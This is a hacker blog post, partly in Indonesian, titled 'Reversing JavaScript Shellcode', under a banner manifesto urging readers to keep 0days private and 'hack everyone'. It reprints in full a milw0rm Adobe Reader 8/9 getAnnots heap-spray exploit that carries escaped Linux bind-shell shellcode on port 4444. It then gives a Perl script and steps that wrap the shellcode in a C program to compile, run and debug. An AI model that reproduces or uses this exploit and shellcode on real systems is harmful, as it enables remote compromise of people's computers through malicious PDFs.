_____ __ _____ ___ _____ ___ _____ _____ _____ _____ _____ _____ _____ _____ ____ _____ _ _ _ _____ | __|| | | | ||_ | | | || | | | __|| __|| __ || | || __|| __ | | || __| | \ | || | | || | | | __|| |__ | | | _| |_ | | | ||_ | |__ || __|| -|| | || __|| -| |- -||__ | | | || | || | | || | | | |_____||_____| \___/ |_____||_|___| |_| |_____||_____||__|__| \___/ |_____||__|__| |_____||_____| |____/ |_____||_____||_|___| I DONT WANT TO BE FAME , I DONT WANT TO BE ANY EZINE , I JUST WANT TO SHARE KNOWLEDGE
, ----. ~ Fuck full-disclosure - - ` ~ Fuck the security industry ,__.,' \ ~ Keep 0days private .' *` ~ Hack everyone you can and then hack some more / | | / **\ ~ Blend in. . / ****. ~ Get trusted. | mm | ****| ~ Trust no one. \ | ****| ~ Own everyone. ` ._______ \ ****/ ~ Disclose nothing. \ /`---' ~ Destroy everything. \___( ~ Take back the scene /~~~~\ ~ Never sell out, never surrender. / \ ~ Get in as anonymous, Leave with no trace. / | \ ~ This your Fucking IP | | \ ~ This your Fucking ISP , ~~ . |, ~~ . | |\ ~ FUCK OFF I've got enough friends !!!! ( |||| ) ( |||| )(,,,)` ( |||||| )-( |||||| ) | ^ ( |||||| ) ( |||||| ) |'/ ( |||||| )-( |||||| )___,'- ( |||| ) ( |||| ) ` ~~ ' ` ~~ '

[ Blog ]

[ History ]


Reversing JavaScript Shellcode

//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
//- attach the following script to the OpenAction of the pdf.
//##############

var memory;
function New_Script()
{

//if(adobe9)//adobe reader 8 works also with app.setTimeOut?
var startwith = app.alert('Hi');//required for adobe9

var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one ;)
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444

while(nop.length <= 0x100000/2) nop+=nop;
nop=nop.substring(0,0x100000/2 - shellcode.length);

memory=new Array();
for(i=0;i<0x6ff;i++) //we should at least overwrite 0x90909090
{memory[i]=nop + shellcode;}

//start exploit now
start();

function start()
{
this.getAnnots(-134217728,-134217728,-134217728,-134217728);
}

}

//############################

# milw0rm.com [2009-04-29]

=========================
caranya

-> download spidermonkey di mozilla sehingga dia bisa membuat 2 log berbeda
-> save code ini dan beri nama dengan nama crap2shellcode.pl extensi perl (pl)

#!/bin/perl
#
# crap2shellcode - 11/9/2009 Paul Melson
#
# This script takes stdin from some ascii dump of shellcode
# (i.e. unescape-ed JavaScript sploit) and converts it to
# hex and outputs it in a simple C source file for debugging.
#
# gcc -g3 -o dummy dummy.c
# gdb ./dummy
# (gdb) display /50i shellcode
# (gdb) break main
# (gdb) run
#

use strict;
use warnings;

my $crap;
while($crap=) {
my $hex = unpack('H*', "$crap");

my $len = length($hex);
my $start = 0;

print "#include \n\n";
print "static char shellcode[] = \"";

for (my $i = 0; $i < length $hex; $i+=4) {
my $a = substr $hex, $i, 2;
my $b = substr $hex, $i+2, 2;
print "\\x$b\\x$a";
}
print "\";\n\n";
}

print "int main(int argc, char *argv[])\n";
print "{\n";
print " void (*code)() = (void *)shellcode;\n";
print " code();\n";
print " exit(0);\n";
print "}\n";
print "\n";

-> hasil dari crap2shellcode.pl adalah shellcode.c , maka untuk menjalankan kita harus mengcompile karena shellcode itu memiliki bahasa C
contoh : gcc -g3 shellcode.c -o shellcode

-> running process
contoh
mainr00t@r00t$./shellcode
mainr00t@r00t$ display /50i shellcode
mainr00t@r00t$ break main
mainr00t@r00t$ run

Labels:


On 12/9/09 at 3:20 AM



My Profile:


Biography:

short story:

[ Friends Link ]

[ chat with me ]


[ archives ]

[ Notices ]

By title

Reversing JavaScript Shellcode

By month

2002.03 2002.12 2005.12 2008.11 2009.02 2009.03 2009.04 2009.05 2009.06 2009.07 2009.08 2009.09 2009.10 2009.11 2009.12 2010.01 2010.03



 


elv1n4 Themes v2.0.0 © 2009 by elv1n4

www[dot]elv1n4.anti-sec[dot]org